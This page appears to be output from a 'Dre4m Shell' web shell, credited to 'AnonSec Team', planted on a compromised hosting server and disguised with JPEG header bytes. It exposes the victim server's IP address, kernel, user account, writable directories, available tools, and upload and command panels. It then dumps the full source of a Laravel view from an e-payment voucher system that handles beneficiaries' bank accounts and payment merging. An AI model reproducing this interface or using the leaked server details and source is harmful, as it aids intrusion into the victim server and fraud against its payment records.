ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.226.200.172
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/nicnModuleViews/epaymentShedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/nicnModuleViews/epaymentShedule/generateEpaymentReport.blade.php
@extends('layouts.layout')
@section('pageTitle')
	{{strtoupper("E-PAYMENT : Update all Beneficiary Details")}}
@endsection
@section('content')
	<div class="box-body">
		<div class="row">
			<div class="col-md-12">
				@if (count($errors) > 0)
					<div class="alert alert-danger alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Error!</strong>
						@foreach ($errors->all() as $error)
							<p>{{ $error }}</p>
						@endforeach
					</div>
				@endif

				@if(session('msg'))
					<div class="alert alert-success alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Success!</strong>
						{!!  session('msg') !!}
					</div>
				@endif

				@if(session('err'))
					<div class="alert alert-danger alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Error Occured!</strong>
						{!! session('err') !!}
					</div>
				@endif

			</div>


		</div><!-- /.col -->
		<form method="post" action="{{url('/report/e-payment')}}">
			{{ csrf_field() }}
			<div class="row">
				<div class="col-md-6">
					<!--include('layouts._searchByDatePatialView')-->
				</div>
			</div>
		</form>
		<hr>

		<!--//start search record-->

		<div class="box-body" style="background-color: white;">
			<div align="center" class="alert" style="font-size: 20px; background: #f9f9f9;">
				<strong>{{strtoupper('Search for voucher')}}</strong>
			</div>

			<hr />
			<div style="background: #fcfcfc; padding: 5px;">
				<Form id="submitForm" method="post" action="{{ route('searchCommittedV') }}">
					{{ csrf_field() }}
					<div class="row">
						<div class="col-md-1"></div>
						<div class="col-md-8">
							<input type="text" class="form-control" autofocus name="voucherNo" placeholder="Enter Voucher Number Only. Eg 222,8888,3444, ...." />
						</div>
						<div class="col-md-3">
							<button type="submit" form="submitForm" class="btn btn-success" onsubmit>Search</button>
						</div>
					</div>
				</Form>

				<br />

				<Form method="post" action="{{ route('addCommittedToList') }}">
					{{ csrf_field() }}
					<table  class="table table-hover table-striped table-responsive table-condensed table-bordered input-sm">
						<thead>
						<tr>
							<th>S/N</th>
							<th><input type="checkbox" tabindex="1" name="globalCheckbox2" id="globalCheckbox2"></th>
							<th>{{strtoupper("V-ID")}}</th>
							<th>{{strtoupper("Beneficiary's Name")}}</th>
							<th>{{strtoupper("Bank")}}</th>
							<th>{{strtoupper("Account No.")}}</th>
							<th>{{strtoupper('Sort Code')}}</th>
							<th>{{strtoupper('Voucher TYpe')}}</th>
							<th>{{strtoupper('Amount')}} &#8358;</th>
							<th>{{strtoupper('Description')}}</th>
							<th>{{strtoupper('Date')}}</th>
							<th>STATUS</th>
							<th>VIEW</th>
						</tr>
						</thead>

						<tbody>
						@if(($companyList))
							@php $key = 1; $countNull = 1;  @endphp
							@foreach ($companyList as $bl)
								<tr>
									<td>
										{{$key ++}}
									</td>
									<td>
										<input type="checkbox" tabindex="1" name="beneficiaryCompany[]" id="{{$bl->transactionID}}" value="{{$bl->transactionID}}" class="checkBox1">
									</td>
									<td>
									    {{ $bl->transactionID}}
									</td>
									<td>
									    {{ $bl->beneficiary}}
									</td>
									<td>
									    {{ $bl->bankListName }}
									</td>
									<td>
									    {{ ($bl->companyID == 13 ? $bl->accountNo : $bl->AccountNo) }}
									</td>
									<td>
									   {{ $bl->bankSortCode }}
									</td>
									<td>
									   {{ $bl->contractType}}
									</td>
									<td>
										{{ ($bl->amtPayable ? number_format($bl->amtPayable, 2, '.', ',') : 0)}}
									</td>

									<td>
									   {{ $bl->paymentDescription}}
									</td>

		                            <td>
										{{$bl->dateCreated}}
									</td>
									
									<td>
										{!! ($bl->accept_voucher_status ? '<span class="text-success">Approved</span>' : '<span class="text-danger">Pending</span>') !!}
										<a href="javascript:;" class="text-danger" data-toggle="modal" data-target="#rejectBackToFunds{{$bl->transactionID}}">Reject To Funds</a>
									</td>
									
									<td>
										<a href="{{ url('/display/voucher/' . $bl->transactionID) }}" title="View Voucher" target="_black" class="btn btn-default"><i class="fa fa-eye fa-x2"></i></a>
									</td>
								</tr>
                                
                                <!--confirm rejection-->

                            		<div class="modal fade" id="rejectBackToFunds{{$bl->transactionID}}" role="dialog" aria-hidden="true">
                            			<div class="modal-dialog">
                            				<div class="modal-content">
                            					<div class="modal-header" style="background: gray; color: white; border: 1px solid white;">
                            						<button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                            						<h4 class="modal-title">Reject Voucher</h4>
                            					</div>
                            					<div class="modal-body col-sm-12" style="padding: 10px;">
                            						<div class="row" style="background: #FFFFFF; margin: 5px;">
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div align="center" class="col-md-12 text-success">
                            									<b>{{ $bl->beneficiary}}</b>
                            								</div>
                            								<div align="center" class="col-md-12">
                            									<span class="text-danger">Are you sure you want to reject this voucher?</span>
                            								</div>
                            							</div>
                                                    </div>
                            						<hr />
                            					</div>
                            					<div class="modal-footer">
                            						<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
                            						<a href="{{ route('cpoReject', [$bl->transactionID]) }}" class="btn btn-danger btn-sm">Reject Now</a>
                            					</div>
                            				</div>
                            			</div>
                            		</div>
                            		
                            	<!-- // end confirm reject -->
                            	
							@endforeach
							@if($companyList->hasPages())
    							<div align="right" class="hidden-print">
    								Showing {{($companyList->currentpage()-1)*$companyList->perpage()+1}}
    								to {{$companyList->currentpage()*$companyList->perpage()}}
    								of  {{$companyList->total()}} entries
    							</div>
    							<div class="hidden-print">{{ $companyList->links() }}</div>
							@endif
						@else
							<tr>
								<td colspan="11"><div align="center" class="text-danger">No record found !</div></td>
							</tr>
						@endif
						</tbody>
					</table>
					<div class="row">
						<div class="col-md-6" align="center">
							<button type="submit" class="btn btn-success">Add to schedule</button>
						</div>
						<div align="center" class="col-md-6">
							<a href="{{route('viewMergedVoucher')}}" class="btn btn-default">View All Merged Vouchers <i class="fa fa-file"></i></a>
						</div>
					</div>
					<hr >
				</form>
			</div>

			<!--//end search record-->

			<!-- /.row -->
			<br />
			<br />
			<div style="display: {{(empty($userEpayment) ? 'none' : 'block') }}">
				<Form id="allVoucherForm" method="post" action="{{ url('/report/e-payment-schedule') }}">
					{{ csrf_field() }}
					
				    <div align="center" class="alert" style="font-size: 20px; background: #f9f9f9;">
				        <strong>{{strtoupper('Generate E-payment')}}</strong>
			        </div>
			        
			        
			        <div align="center" class="row" style="margin-right: 10px; margin-top: -10px;">
						<div class="col-md-3">
							<input type="checkbox" name="headBanner" value="1" style="width: 30px; height: 30px;">
							<span class="text-success">Remove Head Banner on E-payment Report</span>
						</div>
						@forelse($paymentBank as $listBank)
                            <div class="col-md-3">
							    <input type="radio" name="account" value="{{$listBank->bankID}}" style="width: 30px; height: 30px;">
							    <span class="text-success"><big>{{ $listBank->bank_name .': '. $listBank->account_no }}</big></span>
						    </div>
                        @empty
                        @endforelse
            		</div>
            		
					<hr />

					<div class="row">
						<div align="center" class="col-md-4">
							<button type="button" name="generateEpayment" id="generateEpayment" class="btn btn-success"> Generate E-Payment <i class="fa fa-file"></i> </button>
						</div>
						<div align="center" class="col-md-4">
							<button type="button" data-toggle="modal" class="btn btn-primary" data-target="#mergeVoucherModal">Merge Voucher <i class="fa fa-file"></i></button>
						</div>
						<div align="center" class="col-md-4">
							<a href="{{route('viewMergedVoucher')}}" class="btn btn-default">View All Merged Vouchers <i class="fa fa-file"></i></a>
						</div>

					</div>


					<!--//start temp voucher-->
					<hr />
					
					<div class="row">
						<!--<div class="col-md-12">
							<input type="text" id="myInput" class="form-control" onkeyup="myFunction()" placeholder="Search by Beneficiary/Name..." title="Type in a Beneficiary or name">
						</div>-->
					</div>
					<hr />
					<div>
						<table id="myTable" class="table table-hover table-striped table-responsive table-condensed table-bordered input-sm">
							<thead>
							<tr>
								<th>S/N</th>
								<th>{{strtoupper('Total Staff')}} </th>
								<th><input type="checkbox" tabindex="1" name="globalCheckbox" id="globalCheckbox"></th>
								<th>V-ID</th>
								<th>{{strtoupper("Beneficiary's Name")}}</th>
								<th>{{strtoupper("Bank")}}</th>
								<th>{{strtoupper("Account No.")}}</th>
								<th>{{strtoupper('Sort Code')}}</th>
								<th>{{strtoupper('Voucher TYpe')}}</th>
								<th>{{strtoupper('Amount')}} &#8358;</th>
							    <th>{{strtoupper('Description')}}</th>
							    <th>{{strtoupper('Date')}}</th>
							    <th>{{strtoupper('Status')}}</th>
								<th>{{strtoupper('Remove')}}</th>
							</tr>
							</thead>

							<tbody style="max-height: 200px; overflow-y: auto;">
							@if(count($userEpayment) > 0)
								@php $countNull = 1;  @endphp
								@foreach ($userEpayment as $key=>$tempList)
									<tr>
										<td>
											{{ 1 + $key}}
										</td>
										
										@if($checkStaff)
    									<td> 
    										<a href="{{ url('view-all-staff-attached-to-a-voucher/' . $tempList->transactionID) }}" class="btn btn-success"> <i class="fa fa-users"></i> {{ $checkStaff[$key . $tempList->transactionID] }}</a>
    									</td>
    									@endif
    									<td>
											{{$tempList->transactionID}}
										</td>
										<td>
											<input type="checkbox" tabindex="1" name="beneficiaryID[]" id="{{$tempList->transactionID}}" value="{{$tempList->transactionID}}" class="beneficiaryArray checkBox">
										</td>
    									<td>
    									    <a href="#" data-toggle="modal" data-target="#editVoucherModal{{$tempList->temp_id}}">{{ ($tempList->beneficiary_name <> null ? $tempList->beneficiary_name : $tempList->beneficiaryDetails)}}</a> 
    									</td>
    									<td>
    									    <a href="#" data-toggle="modal" data-target="#editVoucherModal{{$tempList->temp_id}}">{{ ($tempList->bankNameTemp <> null ? $tempList->bankNameTemp : $tempList->Banker) }} </a>
    									</td>
    									<td>
    									    <a href="#" data-toggle="modal" data-target="#editVoucherModal{{$tempList->temp_id}}">{{ ($tempList->account_no <> null ? $tempList->account_no : $tempList->AccountNo) }}</a>
    									</td>
    									<td>
    									    <a href="#" data-toggle="modal" data-target="#editVoucherModal{{$tempList->temp_id}}">{{ ($tempList->sort_code <> null ? $tempList->sort_code : $tempList->sort_code_staff)}}</a>
    									</td>
    									<td>
    									   <a href="#" data-toggle="modal" data-target="#editVoucherModal{{$tempList->temp_id}}">{{ $tempList->contractType}}</a>
    									</td>
    									<td>
    										<a href="#" data-toggle="modal" data-target="#editVoucherModal{{$tempList->temp_id}}">{{ ($tempList->amtPayable ? number_format($tempList->amtPayable, 2, '.', ',') : 0)}}</a>
    									</td>
    
    									<td>
    									   <a href="#" data-toggle="modal" data-target="#editVoucherModal{{$tempList->temp_id}}">{{ ($tempList->paymentDesTemp <> null ? $tempList->paymentDesTemp : $tempList->paymentDescription) }}</a>
    									</td>
    
    		                            <td>
    										<a href="#" data-toggle="modal" data-target="#editVoucherModal{{$tempList->temp_id}}">{{$tempList->dateCreated}}</a> 
    									</td>
    									
    									<td>
										    {!! ($tempList->accept_voucher_status ? '<span class="text-success">Approved</span>' : '<span class="text-danger">Pending</span>') !!}
									    </td>
    									
    									<td>
    										<button type="button" class="removeVoucher" id="{{$tempList->temp_id}}"><i class="fa fa-trash"></i></button>
    									</td>
    									
								</tr>
								
								    <!--Edit  Voucher for Epayment by JSON-->
								    <form>
								    {{ csrf_field() }}
                            		<div class="modal fade" id="editVoucherModal{{$tempList->temp_id}}" role="dialog" aria-hidden="true">
                            			<div class="modal-dialog">
                            				<div class="modal-content">
                            					<div class="modal-header" style="background: gray; color: white; border: 1px solid white;">
                            						<button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                            						<h4 class="modal-title">Edit Voucher</h4>
                            					</div>
                            					<div class="modal-body col-sm-12" style="padding: 10px;">
                            						<div class="row" style="background: #FFFFFF; margin: 5px;">
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-6">
                            									Beneficiary
                            										<input type="text" name="beneficiaryName" id="beneficiaryName{{$tempList->temp_id}}" class="form-control" value="{{ ($tempList->beneficiary_name <> null ? $tempList->beneficiary_name : $tempList->beneficiaryDetails)}}" />
                            								</div>
                            								<div class="col-md-6">
                            									Voucher Type
                            									<div class="form-control">{{ $tempList->contractType}}</div>
                            								</div>
                            							</div>
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-6">
                            									Bank Name
                            									<input type="text" name="bankName" id="bankName{{$tempList->temp_id}}" value="{{ ($tempList->bankNameTemp <> null ? $tempList->bankNameTemp : $tempList->Banker) }}" class="form-control" />
                            								</div>
                            								<div class="col-md-6">
                            									Account Number
                            									<input type="text" name="accountNumber" id="accountNumber{{$tempList->temp_id }}" class="form-control" value="{{ ($tempList->account_no <> null ? $tempList->account_no : $tempList->AccountNo) }}" />
                            								</div>
                            							</div>
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-6">
                            									Sort Code
                            									<input type="text" name="sortCode" id="sortCode{{$tempList->temp_id}}" class="form-control" value="{{ ($tempList->sort_code <> null ? $tempList->sort_code : $tempList->sort_code_staff)}}" />
                            								</div>
                            								<div class="col-md-6">
                            									Amount
                            									<input type="text" name="amount" id="amount{{$tempList->temp_id}}" class="form-control" value="{{ ($tempList->amtPayable ? ($tempList->amtPayable) : 0)}}" />
                            								</div>
                            							</div>
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-12">
                            									Payment Description
                            									<textarea name="description" id="description{{$tempList->temp_id}}" class="form-control">{{ ($tempList->paymentDesTemp <> null ? $tempList->paymentDesTemp : $tempList->paymentDescription) }}</textarea>
                            								</div>
                            							</div>  
                            							
                            							<input type="hidden" name="ePaymentID" id="ePaymentID" value="{{$tempList->temp_id}}" />
                            							
                            						</div>
                            						<hr />
                            					</div>
                            					<div class="modal-footer">
                            						<button type="button" class="btn btn-success updateVoucherForEpayment" id="{{$tempList->temp_id}}">Update <i clas="fa fa-file"></i></button>
                            						<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
                            					</div>
                            				</div>
                            			</div>
                            		</div>
                            		</form>
                            	<!-- //end edit voucher -->
	
								@endforeach
								<tr>
									<td colspan="11">
										<div align="right" class="hidden-print">Total Record: {{ count($userEpayment) }}</div>
									</td>
								</tr>
							@endif
							</tbody>
						</table>
					</div><!--//end temp voucher-->
					<hr />

					<div class="row">
						<div align="left" class="col-xs-6">
							<strong>Authorized Signatory</strong>
							<table class="table table-condensed table-responsive">
								<tr>
									<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
									<td align="left">&nbsp;&nbsp;&nbsp;
										<select name="firstAuthorized" style="border: 0; border-style: none; color: blue;">
											<option value="">Select</option>
											<option value=""></option>
											@foreach($allRecords as $list1)
												<option value="{{$list1 ->signatoryID}}">{{$list1 ->fullname}}</option>
											@endforeach
										</select>
									</td>
								</tr>
							</table>
							<strong>Authorized Signatory</strong>
							<table class="table table-condensed table-responsive">
								<tr>
									<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
									<td align="left">&nbsp;&nbsp;&nbsp;
										<select name="secondAuthorized" style="border: 0; border-style: none; color: blue;">
											<option value="">Select</option>
											<option value=""></option>
											@foreach($allRecords as $list2)
												<option value="{{$list2 ->signatoryID}}">{{$list2 ->fullname}}</option>
											@endforeach
										</select>
									</td>
								</tr>
							</table>
						</div>
						<div align="left" class="col-xs-6">
							<strong>Submited For Confirmation By</strong>
							<table class="table table-condensed table-responsive">
								<tr>
									<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
									<td align="left">&nbsp;&nbsp;&nbsp;
										<select name="submitedForConfirmationBy" style="border: 0; border-style: none; color: blue;">
											<option value="">Select</option>
											<option value=""></option>
											@foreach($allRecords as $list3)
												<option value="{{$list3 ->signatoryID}}">{{$list3 ->fullname}}</option>
											@endforeach
										</select>
									</td>
								</tr>

							</table>
							<strong>Confirmed Before Me</strong>
							<table class="table table-condensed table-responsive">
								<tr>
									<td align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name:- </td>
									<td align="left">&nbsp;&nbsp;&nbsp;
										<select name="confirmedBeforeMe" style="border: 0; border-style: none; color: blue;">
											<option value="">Select</option>
											<option value=""></option>
											@foreach($allRecords as $list4)
												<option value="{{$list4 ->signatoryID}}">{{$list4 ->fullname}}</option>
											@endforeach
										</select>
									</td>
								</tr>
							</table>
						</div>
					</div>

					<hr />
					<input type="hidden" name="mergeVoucher" id="mergeVoucher" />
					<!--//-->
					<input type="hidden" id="newBeneficiaryPost" name="newBeneficiaryPost" />
					<input type="hidden" id="newDescriptionPost" name="newDescriptionPost" />
					<input type="hidden" id="newBankNamePost" name="newBankNamePost" />
					<input type="hidden" id="newAccountNumberPost" name="newAccountNumberPost" />
					<input type="hidden" id="newSortCodePost" name="newSortCodePost" />
					<input type="hidden" id="newAmountPost" name="newAmountPost" />
					<!--//-->

					<div class="row">
						<div align="center" class="col-md-4">
							<button type="button" name="generateEpayment" id="generateEpayment2" class="btn btn-success"> Generate E-Payment <i class="fa fa-file"></i> </button>
						</div>
						<div align="center" class="col-md-4">

							<button type="button" data-toggle="modal" class="btn btn-primary" data-target="#mergeVoucherModal">Merge Voucher <i class="fa fa-file"></i> </button>
						</div>
						<div align="center" class="col-md-4">
							<a href="{{route('viewMergedVoucher')}}" class="btn btn-default">View All Merged Vouchers <i class="fa fa-file"></i></a>
						</div>
					</div>
					<br />
				</form>
			</div>

	
	<!--Confirmation For Merging of Voucher-->
		<div class="modal fade" id="mergeVoucherModal" role="dialog" aria-hidden="true">
			<div class="modal-dialog">
				<div class="modal-content">
					<div class="modal-header" style="background: gray; color: white; border: 1px solid white;">
						<button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
						<h4 class="modal-title"> Merge Voucher</h4>
					</div>
					<div class="modal-body col-sm-12" style="padding: 10px;">
						<div class="row" style="background: #FFFFFF; margin: 5px;">
							<div align="center" class="col-md-12" style="padding: 5px;">
								<b>Are you sure you want to merge these vouchers? <br /> <b><span class="text-danger" id="getVoucherSelected"></span></b></b>
								<hr />
								<div class="col-md-12 text-success"><small><i>NB.: The selected voucher(s) will be referenced/represented as follows:</i></small></div>
								<br /><br />
							</div>
							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
								<div class="col-md-6">
									Reference Name
									<input type="text" class="form-control" id="newBeneficiary"/>
								</div>
								<div class="col-md-6">
									Description
									<textarea  id="newDescription" class="form-control"></textarea>
								</div>
							</div>
							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
								<div class="col-md-6">
									Bank Name
									<input type="text"  id="newBankName" class="form-control" />
								</div>
								<div class="col-md-6">
									Account Number
									<input type="text" id="newAccountNumber" class="form-control" />
								</div>
							</div>
							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
								<div class="col-md-6">
									Sort Code
									<input type="text" id="newSortCode" class="form-control" />
								</div>
								<div class="col-md-6">
									Sum Amount
									<input type="text" id="newAmount" class="form-control" value="0.00" />
								</div>
							</div>
						</div>
						<hr />
					</div>
					<div class="modal-footer">
						<button type="button" class="btn btn-success" id="startMergin" data-dismiss="modal">Merge Voucher <i clas="fa fa-file"></i></button>
						<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
					</div>
				</div>
			</div>
		</div></div>
	<!-- //Confirmation For Merging of Voucher -->
	<br />

@stop


@section('scripts')
	<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
	<script type="text/javascript">
        //SELECT/DESELECT ALL CHECKBOX
        $(document).ready(function () {
            $('#globalCheckbox').click(function(){
                if($(this).prop("checked")) {
                    $(".checkBox").prop("checked", true);
                } else {
                    $(".checkBox").prop("checked", false);
                }
            });
        });
        //SELECT/DESELECT ALL CHECKBOX
        $(document).ready(function () {
            $('#globalCheckbox2').click(function(){
                if($(this).prop("checked")) {
                    $(".checkBox1").prop("checked", true);
                } else {
                    $(".checkBox1").prop("checked", false);
                }
            });
        });


        //EDIT STAFF BANK DETAILS BY CPO
        $(document).ready(function() {
            $(".editBankDetailsButton").click(function () {
                var id 		 		= this.id;
                var bankName 		= $('#bankName'+id).val();
                var accountNumber 	= $('#accountNumber'+id).val();
                var sortCode 		= $('#sortCode'+id).val();
                var staffAmount 	= $('#staffAmount'+id).val();
                var description 	= $('#description'+id).val();
                var beneficiary 	= $('#beneficiary'+id).val();
                var companyID 	    = $('#companyID'+id).val();
                $.ajax({
                    url: murl + '/update/e-payment-details-JSON',
                    type: "post",
                    data: {'id': id, 'companyID': companyID, 'beneficiary': beneficiary, 'description': description,  'bankName': bankName, 'accountNumber': accountNumber, 'sortCode': sortCode, 'staffAmount': staffAmount, '_token': $('input[name=_token]').val()},
                    success: function(data){
                        location.reload();
                    }
                })
            });
        });
        //CPO


        //Table search and pagination
        function myFunction() {
            // Declare variables
            var input, filter, table, tr, td, i;
            input = document.getElementById("myInput");
            filter = input.value.toUpperCase();
            table = document.getElementById("myTable");
            tr = table.getElementsByTagName("tr");

            // Loop through all table rows, and hide those who don't match the search query
            for (i = 0; i < tr.length; i++) {
                td = tr[i].getElementsByTagName("td")[2];
                if (td) {
                    if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
                        tr[i].style.display = "";
                    } else {
                        tr[i].style.display = "none";
                    }
                }
            }
        }
        //ends here
        //Count The number of voucher selected
        $(document).ready(function() {
            var countChecked = function() {
                var n = $( "input:checked" ).length;
                var nValue = $( "input:checked" ).val();
                //alert(nValue);
                //return false;

                //JSON Request for SUM Amount
                if($.isNumeric(this.id))
                {
                    $.ajax({
                        url: murl + '/get-voucher-sum-amount-via-json',
                        type: "post",
                        data: {
                            'transactionID': this.id,
                            '_token': $('input[name=_token]').val()
                        },
                        success: function (data) {
                            $("#newAmount").val((parseFloat($("#newAmount").val()) + parseFloat(data)).toFixed(2));
                        }//end success
                    })
                }
                if(n === 0 ){
                    $("#newBeneficiary").val('');
                    $("#newDescription").val('');
                    $("#newBankName").val('');
                    $("#newAccountNumber").val('');
                    $("#newSortCode").val('');
                    $("#newAmount").val('0.00');
                }//end if
                //
                if($.isNumeric(nValue))
                {
                    $.ajax({
                        url: murl + '/get-voucher-details-via-json',
                        type: "post",
                        data: {
                            'transactionID': nValue,
                            '_token': $('input[name=_token]').val()
                        },
                        success: function (data) {
                            $("#newBeneficiary").val('');
                            $("#newDescription").val('');
                            $("#newBankName").val('');
                            $("#newAccountNumber").val('');
                            $("#newSortCode").val('');
                            //assign details
                            $("#newBeneficiary").val(data.beneficiary);
                            $("#newDescription").val(data.paymentDescription);
                            $("#newBankName").val(data.Banker);
                            $("#newAccountNumber").val(data.AccountNo);
                            $("#newSortCode").val(data.sortCode);
                           
                        }//end success
                    })
                }
                //End JSON calls
                if(n == 0)
                {
                    $("#newAmount").val(0);
                    $( "#getVoucherSelected" ).html( "No Voucher Selected !" );
                }else{
                    $( "#getVoucherSelected" ).html( n + (n === 1 ? " voucher was" : " vouchers were") + " selected?" );
                }
            };
            countChecked();
            $( "input[type=checkbox]" ).on( "click", countChecked );
        });
        //ends counting



        //MERGE === Submit All Voucher Form
        $(document).ready(function() {
            //Generate E-Payment
            $("#generateEpayment").click(function () {
                $("#mergeVoucher").val(0);
                $("#allVoucherForm").submit();
            });
            $("#generateEpayment2").click(function () {
                $("#mergeVoucher").val(0);
                $("#allVoucherForm").submit();
            });

            //Merge voucher
            $("#startMergin").click(function () {
                $("#newBeneficiaryPost").val($("#newBeneficiary").val());
                $("#newDescriptionPost").val($("#newDescription").val());
                $("#newBankNamePost").val($("#newBankName").val());
                $("#newAccountNumberPost").val($("#newAccountNumber").val());
                $("#newSortCodePost").val($("#newSortCode").val());
                $("#newAmountPost").val($("#newAmount").val());
                $("#mergeVoucher").val(1);

                var newBeneficiary = $("#newBeneficiary").val();
                var newDescription = $("#newDescription").val();
                var newBankName = $("#newBankName").val();
                var newAccountNumber = $("#newAccountNumber").val();
                var newSortCode = $("#newSortCode").val();
                var newAmount = $("#newAmount").val();
				//
                var beneficiaryArray = [];
                $('input.beneficiaryArray:checkbox:checked').each(function () {
                    beneficiaryArray.push(this.value);
                });
                if(beneficiaryArray == ''){
                    alert('you have not selected any voucher to be merged');
                    return false;
				}
                //
                if($("#newBeneficiaryPost").val() == '' ||  $("#newBankNamePost").val() == '' || $("#newAccountNumber").val() == '' )
                {
                    alert('Please, add reference name and account details');
                    return false;
                }
                    //START MERGE POST
					if(confirm("Are you sure you want to merge these records?")) {
                        $.ajax({
                            url: "{{url('/')}}" + '/merge-voucher-json',
                            type: "post",
                            data: {
                                'beneficiaryArray': beneficiaryArray,
                                'newBeneficiary': newBeneficiary,
                                'newDescription': newDescription,
                                'newBankName': newBankName,
                                'newAccountNumber': newAccountNumber,
                                'newSortCode': newSortCode,
                                'newAmount': newAmount,
                                '_token': $('input[name=_token]').val()
                            },
                            success: function (data) {
                                $("#newBeneficiary").val('');
                                $("#newDescription").val('');
                                $("#newBankName").val('');
                                $("#newAccountNumber").val('');
                                $("#newSortCode").val('');
                                $("#newAmount").val(0);
                                alert(data);
                                location.reload();
                            }//end success
                        })
                    }
            });
        });

        //Remove voucher from Schedule
        $(document).ready(function() {
            $(".removeVoucher").click(function () {
                var id 	= this.id;
                if(confirm('Are you sure you want to remove this voucher?')) {
                    $.ajax({
                        url: murl + '/remove-voucher-from-schedule-JSON',
                        type: "post",
                        data: {'removeID': id, '_token': $('input[name=_token]').val()},
                        success: function (data) {
                            alert(data);
                            location.reload();
                        }
                    })
                }
            });
        });
        //ends removing
        
        
        
        
    //Edit Voucher before E-payment
	$(document).ready(function() {
	  	$(".updateVoucherForEpayment").click(function () {
	  	    var id 	= this.id;

	  		var getDescription = $('#description' + id).val();
	  		var getAmount 	= $('#amount' + id).val();
	  		var getSortCode 	= $('#sortCode' + id).val();
	  		var getAccountNumber 	= $('#accountNumber' + id).val();
	  		var getBankName 	= $('#bankName' + id).val();
	  		var getEpaymentID 	= id //$('#ePaymentID' + id).val();
	  		var beneficiaryName = $('#beneficiaryName' + id).val();
	  		if(getEpaymentID == ''){
	  			alert('Sorry, we are having issue while try to update your record! Refresh this page and try again.');
	  			return false
	  		}
		  	$.ajax({
				url: murl + '/update-voucher-for-epayment-JSON',
				type: "post",
				data: {
					   'description': getDescription, 
					   'amount': getAmount, 
					   'sortCode': getSortCode, 
					   'accountNumber': getAccountNumber, 
					   'bankName': getBankName, 
					   'ePaymentID': getEpaymentID, 
					   'beneficiaryName': beneficiaryName,
					   '_token': $('input[name=_token]').val()
				},
				success: function(data){
                    //Successful
                    location.reload();
				}
			})
		});   
	 });
	//
	

	</script>
	<!--include ('layouts._searchByDatePatialCpo')-->
@stop

@section('styles')
	<style type="text/css">

	</style>

	<!-- Include Required Prerequisites -->
	<link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap/3/css/bootstrap.css" />
	<!-- Include Date Range Picker -->
	<link rel="stylesheet" type="text/css" href="//cdn.jsdelivr.net/bootstrap.daterangepicker/2/daterangepicker.css" />

@stop

Anon7 - 2022
AnonSec Team